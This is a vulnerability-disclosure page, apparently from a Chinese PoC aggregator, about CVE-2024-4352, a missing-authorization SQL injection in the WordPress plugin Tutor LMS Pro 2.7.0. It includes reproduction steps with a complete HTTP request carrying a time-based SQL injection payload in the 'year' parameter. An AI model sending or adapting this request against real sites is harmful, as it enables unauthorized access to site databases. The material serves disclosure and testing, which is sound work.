POC详情: a726b26b7c823686a605994337d80704267f6341

来源
关联漏洞
标题: WordPress Plugin Tutor LMS Pro 安全漏洞 (CVE-2024-4352)
描述:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress Plugin Tutor LMS Pro 2.7.0及之前版本存在安全漏洞,该漏洞源于缺少功能检查,容易受到未经授权的数据访问和数据修改,从而导致数据丢失。
描述
CVE-2024-4352 Tutor LMS Pro <= 2.7.0 - Missing Authorization to SQL Injection
介绍
# CVE-2024-4352-Poc
CVE-2024-4352 Tutor LMS Pro &lt;= 2.7.0 - Missing Authorization to SQL Injection

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tutor-pro/tutor-lms-pro-270-missing-authorization-to-sql-injection

Description

The Tutor LMS Pro plugin for WordPress is vulnerable to unauthorized access of data, modification of data, loss of data due to a missing capability check on the 'get_calendar_materials' function. The plugin is also vulnerable to SQL Injection via the ‘year’ parameter of that function due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Vulnerable addon calendar

File: addons\calendar\classes\Tutor_Calendar.php
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/1367d596-a948-4dd7-b933-9eef7f49d82c)
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/81d58487-f649-4fb4-81d8-e3abf85cc9e7)
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/9ce9c82f-f6c7-4e62-ba67-2ed87e0ed4c0)


Steps to Reproduce:

1. Register an account and enroll in the course
2. Send request with payload
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cookie: {{Cookie}}
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=get_calendar_materials&year=0+or+sleep(if(1=1,5,0))&month=1&_tutor_nonce={{_tutor_nonce}}
```

![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/1d019677-1236-4a69-8d96-9fa1b353786f)
![image](https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/9372d19f-0a42-4baa-ae28-71baba17adca)


Poc

https://github.com/truonghuuphuc/CVE-2024-4352-Poc/assets/20487674/cf686a9f-2f51-4402-88f5-73f29fcdf3d7

文件快照

[4.0K] /data/pocs/a726b26b7c823686a605994337d80704267f6341 ├── [2.2K] README.md └── [7.2M] tutorpro270n.rar 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。